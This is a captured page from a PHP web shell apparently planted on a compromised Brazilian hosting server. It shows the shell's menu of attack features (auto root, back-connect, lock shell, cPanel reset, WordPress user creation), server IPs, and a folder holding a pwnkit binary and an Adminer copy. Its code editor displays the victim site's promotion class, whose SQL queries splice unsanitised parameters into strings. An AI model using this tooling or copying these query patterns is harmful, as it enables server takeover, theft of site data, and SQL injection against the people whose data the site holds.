Linux vps-4302913.novaexata.com.br 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
Apache
: 162.214.88.42 | : 216.73.216.99
166 Domain
7.3.33
wwnova
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
wwnova /
globalscript2020 /
[ HOME SHELL ]
Name
Size
Permission
Action
DEFAULT
[ DIR ]
drwxr-xr-x
PHPMailer-master
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
dbConnection.php
789
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
sisClassWeb.php
17.46
KB
-rw-r--r--
utilitiesClass.php
8.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sisClassWeb.php
<?php class sisClassWeb{ public function getServerName(){ //nome do servidor return $_SERVER['SERVER_NAME']; } public function getServerIp(){ //IP para o banco de dados e FTP; return $_SERVER['SERVER_ADDR']; } public function getServerRoot(){ //conta: /home/CONTA/public_html return $_SERVER['DOCUMENT_ROOT']; } public function getRootScripts($pasta){ //pasta com os scripts do sistema $tmp = $this->getServerRoot(); // SERVERCHANGE LOCAL/PUBLICO: $tmp = $tmp."/"; // $tmp = str_replace("public_html","",$tmp); $tmp = $tmp . $pasta."/"; return $tmp; } public function getProtocol(){ //url com protocolo return ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off') || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; } public function getSharedFolders($pasta){ //pasta com os js e css (compartilhados?!) $tmp = $this->getProtocol(); $tmp = $tmp . $this->getServerName(); $tmp = $tmp . $pasta; return $tmp; } public function getDbPrefix(){ $tmp = $this->getServerRoot(); $tmp = str_replace("/public_html","",$tmp); $tmp = str_replace("/home/","",$tmp)."_"; return $tmp; } public function PromocaoAtiva($nrpromocao=""){ $tbl = "promocoesMain"; if ($nrpromocao=="") { $s="SELECT * FROM $tbl WHERE STATUS = 'ATIVO' AND ( date(dtini)<= CURDATE() ) LIMIT 1"; } else { $s="SELECT * FROM $tbl WHERE id = '$nrpromocao' LIMIT 1"; } //echo "<br><br>42 $s<br><br>"; $s=db()->query($s); if (mysqli_num_rows($s) == 0 ) { return "erro";} $rs = mysqli_fetch_object ($s); $evento = array(); $evento['id'] = $rs->id; $evento['nome'] = $rs->nome; DEFINE("PROMOCAONOME",$rs->nome); $evento['dtini'] = $rs->dtini; $evento['dtfim'] = $rs->dtfim; $tmpStatus=""; if ($rs->dtini > date('Y-m-d')){ //se datainicio < hoje AINDA NÃO COMEÇOU $tmpStatus ="NAO COMECOU"; } if ($tmpStatus ==""){ //se datafim < hoje JÁ TERMINOU if ($rs->dtfim < date('Y-m-d')){ $tmpStatus="TERMINOU"; } } if($tmpStatus==""){ //se datainicio >=hoje e datafim <= hoje RODANDO $tmpStatus="RODANDO"; } $evento['status'] = $tmpStatus; /******************** CADASTRO DO CONSUMIDOR *********************/ $evento['registropor'] = $rs->registropor; //CPF,CNPJ,IDENTIDADE DEFINE("TIPO_DE_CUPOM", $rs->tipodecupom); //RASGADINHA,FISCAL, DEFINE("CONTROLA_LOTE", $this->cBool($rs->controlalote)); //S/N S então barras tem que estar vinculada a loja $evento['usaserie'] = $rs->usaserie; //S/N S para formatar série nas listagens $evento['nrdeseries'] = $rs->nrdeseries; ///------substituir chamadas pela constante $evento['composicaoserie'] = $rs->colunadaserie; //XX9 DEFINE("COMPOSICAODASERIE",$rs->colunadaserie); $evento['cuponsnoevento'] = $rs->cuponsnoevento; //1000000 $evento['cuponsnolote'] = $rs->cuponsnolote; //100 DEFINE("VIP", $rs->vip); //0 adiciona X nrs de sorte por requisição DEFINE("REQUER_CNPJ", $this->cBool($rs->cnpjnocupomfiscal));// SN ////necessita de cnpj ao entrar cupom fiscal? ////Se houverem filiais ou lojistas precisa ser S //DEFINE("ECFPDV_NOCUPOM", $this->cBool($rs->ecfpdvnocupomfiscal));// SN ////necessita de PDV ao entrar cupom fiscal? ////Se houverem multiplos PDV/CAIXAS //DEFINE("COOCCF_NOCUPOM", $this->cBool($rs->cooccfnocupomfiscal));// SN DEFINE("MAX_SORTE_POR_CPF",$rs->maximonrsorteporcpf); //máximo nrsorte por cpf DEFINE("VALOR_DO_TICKET", $rs->valordecompra); ////menor valor que gera 1 nr de sorte, se zero, ////qualquer valor de NF/CF dá um nr de sorte DEFINE("VALIDANOSERVIDOR", $this->cBool($rs->validacupomnoservidor));// SN ///------substituir chamadas pela constante $evento['nrdepremios'] = $rs->nrdepremios; DEFINE("NRDEPREMIOS",$rs->nrdepremios); DEFINE("MAXIMO_SORTE_POR_COMPRA", $rs->maximonrsorteporcompra); DEFINE("FATORACAO", $rs->fatoracao); DEFINE("CNPJCOMBO", $this->cBool($rs->cnpjCombo)); //MULTIplos,MAIORQUE,NENHUM //MAIORQUE -- o valor do cupom fiscal precisa ser maior ou igual // que $rs->valordecompra //MULTI -- divide o valor da compra por $rs->valordecompra e gera tantos nrs da // sorte, quanto os permitidos até $rs->maximonrsorteporcompra //NENHUM -- fatoração fica com valor = 1 /******************** PERGUNTAS *********************/ //na tela de cadastro pergunta se deseja receber news $evento['perguntaNews'] = $rs->perguntanews; $evento['labelPerguntaNews'] = $rs->labelperguntanews; //pergunta de concursos $evento['p1sn'] = $rs->p1sn; $evento['p1texto'] = $rs->p1texto; $evento['p1r1'] = $rs->p1r1; $evento['p1r2'] = $rs->p1r2; $evento['p1r3'] = $rs->p1r3; $evento['p2sn'] = $rs->p2sn; $evento['p2texto'] = $rs->p2texto; $evento['p2r1'] = $rs->p2r1; $evento['p2r2'] = $rs->p2r2; $evento['p2r3'] = $rs->p2r3; /******************** PARAMETROS PARA MOSTRAR LOJAS NA LISTA DE LOJISTAS se LOJA_CONTEMPLADOS true, mostra estes dados das lojas, na lista de contemplados *********************/ //DEFINE("LOJA_ENDERECO", $this->cBool($rs->lojaendereco)); //DEFINE("LOJA_FONE", $this->cBool($rs->lojafone)); //DEFINE("LOJA_EMAIL", $this->cBool($rs->lojaemail)); //DEFINE("LOJA_URL", $this->cBool($rs->lojaurl)); //DEFINE("LOJA_COMPLEMENTO",$this->cBool($rs->lojacomplemento)); //DEFINE("LOJA_CONTEMPLADOS",$this->cBool($rs->lojacontemplados)); //$evento['autorizacao'] = $rs->autorizacao; DEFINE("LAYOUT", $rs->layout); //$evento['multiplasentidades'] = $rs->multiplasentidades; DEFINE("ACHOUGANHOU",$this->cBool($rs->achousn)); return $evento; } public function cBool($par){ if ( ($par =="s") || ($par =="S") || ($par == strtoupper("true")) ){ return TRUE; } else {return FALSE;} } public function getPastaImagemGlobal(){ //estrutura www.abc.com.br/natal2019/ //dominio do cliente pegar em promotoras //diretório da campanha pegar em promocoesMain $tblpromocoes = "promocoesmain"; $temp = $this->PromocaoAtiva(); $promocaoatual = $temp['id']; $s="select * from promotoras where dbnome='". EXATADATA. "'"; $s=db()->query($s); if (mysqli_num_rows($s) ==1 ){ while ($rs = mysqli_fetch_array($s)){ $dominio=$rs['pasta']; } } $s="select * from $tblpromocoes where id='$promocaoatual'"; $s=db()->query($s); if (mysqli_num_rows($s) ==1 ){ while ($rs = mysqli_fetch_array($s)){ $pastaPromocao=$rs['campanhafolder']; } } //RETORNA uma URL NO FORMATO: www.abc.com.br/natal2019/ $pastaimagem = $dominio."/".$pastaPromocao.'/'; return $pastaimagem; } public function montaMenuSite(){ $menu = array(); $s="select * from promocoesMenu where promocaoid='". PROMOCAOID . " ' and visivel='S' order by ordem"; //echo "<br><br><br><br>173 $s"; $s=db()->query($s); if(mysqli_num_rows($s)) { while ($rs = mysqli_fetch_array($s)){ $menu['item'][] = $rs['texto']; $menu['link'][] = $rs['link']; } } return $menu; } public function getImageTo($parDiv,$parObjeto){ //retornar: objeto, visivel e conteudo $retorno = ""; $s="SELECT * FROM promocoesSiteParametros where divid='$parDiv' and objeto='$parObjeto'"; $s=db()->query($s); if (mysqli_num_rows($s) >0){ while ($rs=mysqli_fetch_array($s)){ if ($rs['visivel'] ==" S") { if ($parObjeto=="bg") { if ($rs['conteudo'] !=""){ $bg = "style='background-image: url(" . $rs['conteudo'] .")' "; } } if ( ($parObjeto=="scroll") or ($parObjeto=="autorizacao") or ($parObjeto=="pdf") ){ $bg= $rs['conteudo']; } } } } return $bg; } //divid,objeto,parametro // pardivid parobjeto parRetornar // (`id`, `promocaoid`, `divid`, `objeto`, `visivel`, `conteudo`) VALUES // (9, 7, 'lojistas', 'bg', 'S', 'overlay-bg.jpg'), // (10, 7, 'lojistas', 'scriptloja', 'S', 'scriptloja'), public function getParamFromSite($divid,$objeto){ $retorno=""; $s="select visivel,conteudo from promocoesSiteParametros where promocaoid=' ".PROMOCAOID." ' and divid='$divid' and objeto='$objeto' limit 1"; $s=db()->query($s); if(mysqli_num_rows($s) >0){ while ($rs=mysqli_fetch_array($s)){ if($rs['visivel']=="S"){ if($objeto=="bg"){ //se objeto for background, retorna a imagem $retorno="style='background-image: url(" . $rs['conteudo'] .")' "; } else{ //retorna o valor do campo conteudo $retorno= $rs['conteudo']; } } } } return $retorno; } /* public function getParamFrom($parRetornar,$parDivId,$parObjeto){ $retorno=""; $s="select $parRetornar from promocoesSiteParametros where promocaoid='".PROMOCAOID."' and divid='$parDivId' and objeto='$parObjeto' limit 1"; echo "<br>$s<br>"; $s=db()->query($s); if(mysqli_num_rows($s) >0){ while ($rs=mysqli_fetch_array($s)){ $retorno = $rs['$parRetornar']; } } return $retorno; } public function getParamTo($parDiv,$parConteudo){ $retorno = ""; $s="SELECT * FROM promocoesSiteParametros where divid='$parDiv' and conteudo='$parConteudo'"; $s=db()->query($s); if (mysqli_num_rows($s) >0){ while ($rs=mysqli_fetch_array($s)){ if ($rs['visivel'] =="S") { $bg = $rs['conteudo']; } else{ $bg=""; } } } return $bg; } */ public function mostraContemplados(){ $retorno= array(); $tmpcupons = "cupons_". PROMOCAOID; //$param = "promocoesSiteParametros"; //campos não visíveis no site: id,sequencia,barras,lojista,cpf,dtextracao,extracao,status //$s="select id,sequencia,dtsorteio,barras,lojista, (select nomefantasia from lojistas where id=a.lojista) as fantasia, cpf,(select nome from consumidores where cpf=a.cpf) as nome, (select bairro from consumidores where cpf=a.cpf) as bairro, (select cidade from consumidores where cpf=a.cpf) as cidade,premio,figura,serie,sorteavel,dtextracao,extracao from premios a where evento ='" . PROMOCAOID . "' and status='E' and barras<>'' order by sequencia,dtsorteio,serie,sorteavel"; //$s="select visivel from $param where divid='contemplados' and objeto='comfoto' limit 1"; //$s=db()->query($s); //$s=mysqli_fetch_object($s); //$mostrarfoto = $s->visivel; $s="select id,sequencia,dtsorteio,cupomid,fotocontemplado, (select nomefantasia from lojistas where id=(select lojista from $tmpcupons where id=a.cupomid)) as nomefantasia, (select nome from consumidores where cpf=(select cpf from $tmpcupons where id=a.cupomid)) as nome, (select bairro from consumidores where cpf=(select cpf from $tmpcupons where id=a.cupomid)) as bairro, (select cidade from consumidores where cpf=(select cpf from $tmpcupons where id=a.cupomid)) as cidade, premio,figura,serie,sorteavel,dtextracao,extracao from premios a where evento ='". PROMOCAOID ."' and cupomid != '-1' order by dtextracao,sequencia,serie,sorteavel"; //and status='E' and cupomid>0 //echo "<br><br>$s<br><br>"; $s=db()->query($s); if( mysqli_num_rows($s) >=1){ while ($rs = mysqli_fetch_array($s)){ $retorno['datasorteio'][] = $rs['dtsorteio']; $retorno['nomefantasia'][] = $rs['nomefantasia']; $retorno['nome'][] = $rs['nome']; $retorno['bairro'][] = $rs['bairro']; $retorno['cidade'][] = $rs['cidade']; $retorno['premio'][] = $rs['premio']; if ($rs['fotocontemplado'] !=""){ $retorno['figura'][] = "imgContemplados/".$rs['fotocontemplado']; }else{ $retorno['figura'][] = "imgPremios/".$rs['figura']; } $retorno['serie'][] = $rs['serie']; $retorno['sorteavel'][] = $rs['sorteavel']; } } return $retorno; } public function ESTATISTICAS_NrConsumidores(){ $s="select coalesce(count(cpf),0) as nrconsumidores from consumidores where evento like '%" . PROMOCAOID . "%'"; $s=db()->query($s); $s=mysqli_fetch_object($s); $nrconsumidores = $s->nrconsumidores; return $nrconsumidores; } public function ESTATISCAS_NrLojas(){ $s="select coalesce(count(idloja),0) as nrlojas from lojaporevento where idevento='". PROMOCAOID ."'"; $s=db()->query($s); $s=mysqli_fetch_object($s); $nrlojas = $s->nrlojas; return $nrlojas; } public function ESTATISTICAS_DiasRestantes(){ $s="SELECT now(),dtfim, DATEDIFF (dtfim,now()) AS diasrestantes FROM `promocoesMain` WHERE id='". PROMOCAOID ."'"; $s=db()->query($s); $s=mysqli_fetch_object($s); $diasrestantes = $s->diasrestantes; if ($diasrestantes <1){ $diasrestantes= "PROMOCÇÃO ENCERRADA"; } return $diasrestantes; } public function ESTATISTICAS_DiasDePromocao(){ $s="SELECT dtini,dtfim, DATEDIFF (dtfim,dtini) AS diasde FROM `promocoesMain` WHERE id='". PROMOCAOID ."'"; $s=db()->query($s); $s=mysqli_fetch_object($s); $diasde = $s->diasde; return $diasde; } public function ESTATISTICAS_NrDePremios(){ $s="select coalesce(count(id),0) as nrpremios from premios where evento='". PROMOCAOID ."'"; $s=db()->query($s); $s=mysqli_fetch_object($s); $nrdepremios = $s->nrpremios; return $nrdepremios; } public function ESTATISTICAS_NrDePremiosEntregues(){ $s="select coalesce(count(id),0) as nrpremios from premios where evento='". PROMOCAOID ."' and sorteavel != '-1'"; $s=db()->query($s); $s=mysqli_fetch_object($s); $nrdepremios = $s->nrpremios; return $nrdepremios; } public function statusItem($parIcon,$parTitle,$parText){ ?> <div class="col-sm-2 col-lg-2"> <div class="counter-box"> <div class="counter-ico"> <span class="ico-circle"><i class="<?php echo $parIcon; ?>"></i></span> </div> <div class="counter-num"> <p class="counter"><?php echo $parText;;?></p> <span class="counter-text"><?php echo $parTitle;?></span> </div> <br> </div> </div> <?php } public function sobreItem($parIcon,$parTitle,$parText){ ?> <div class="col-md-4"> <div class="sobre-box"> <div class="sobre-ico"> <span class="ico-circle"><i class="<?php echo $parIcon;?>"></i></span> </div> <div class="sobre-content"> <h2 class="s-title"><?php echo $parTitle;?></h2> <p class="s-description text-center"><?php echo $parText;?></p> </div> </div> </div> <?php } public function cnpjCombo($nrpromocao){ $s="SELECT idloja,(select nomefantasia from lojistas where id=a.idloja) as fantasia, (select cnpj from lojistas where id=a.idloja) as cnpj FROM `lojaporevento` a WHERE idevento='$nrpromocao' order by fantasia"; $s=db()->query($s); if (mysqli_num_rows($s) != 0){ ?> <select id="lojaCombo" name="lojaCombo" class="chosen-select form-control"> <option></option> <?php while($rs = mysqli_fetch_array($s)){ $cnpj=$rs['cnpj']; $nome= $rs['fantasia']; echo "<option data-placeholder='$nome' value='$cnpj'>$nome</option>"; }?> </select> <?php } } /* public function lojaParticipante($cnpj,$nrpromocao="0"){ $s="select id,cnpj,nomefantasia from lojistas a where cnpj='$cnpj' and (select idloja from lojaporevento where idloja=a.id and idevento='$nrpromocao')"; $s=db()->query($s); if (mysqli_num_rows($s) !=0){ $s=mysqli_fetch_object($s); $nomefantasia=$s->nomefantasia; } else { $nomefantasia=""; } return $nomefantasia; } */ public function formContato($extrainfo=""){ ?> <div class="container"> <div class="row"> <div class="col-sm-12"> <div class="contato-mf"> <div id="contato" class="box-shadow-full"> <div class="row"> <div class="col-md-6"> <div class="title-box-2"> <h5 class="title-left">Deixe-nos sua mensagem</h5> </div> <div> <form class="contatoForm" id="formcontato" name="formcontato" > <div class="row"> <div class="col-md-12 mb-3"> <div class="form-group"> <input type="text" name="nome" class="form-control" id="nome" placeholder="Seu nome"> </div> </div> <div class="col-md-12 mb-3"> <div class="form-group"> <input type="email" class="form-control" name="email" id="email" placeholder="Seu email"> </div> </div> <div class="col-md-12 mb-3"> <div class="form-group"> <input type="text" class="form-control" name="cpf" id="cpf" placeholder="Seu CPF"> </div> </div> <div class="col-md-12 mb-3"> <div class="form-group"> <input type="text" class="form-control" name="fone" id="fone" placeholder="Fone para contato"> </div> </div> <div class="col-md-12 mb-3"> <div class="form-group"> <input type="text" class="form-control" name="subject" id="subject" placeholder="Assunto"> </div> </div> <div class="col-md-12 mb-3"> <div class="form-group"> <textarea class="form-control" name="message" rows="5" placeholder="Sua mensagem"></textarea> </div> </div> <div class="col-md-12"> <button id="enviar" type="button" class="button button-a btn-superpro button-big button-rouded">Enviar a mensagem</button> </div> </div> </form> </div> </div> <div class="col-md-6"> <div class="title-box-2 pt-4 pt-md-0"> <h5 class="title-left">Sobre</h5> </div> <div class="more-info"> <p class="lead">Sua solicitação será respondida o mais breve possível. Lembrando que esta área é exclusiva para dúvidas quanto ao cadastramento e uso do hotsite. Para outras dúvidas, consulte o regulamento.</p> <p class="lead"><?php echo $extrainfo;?></p> </div> </div> </div> </div> </div> </div> </div> </div> <?php } } ?>
Close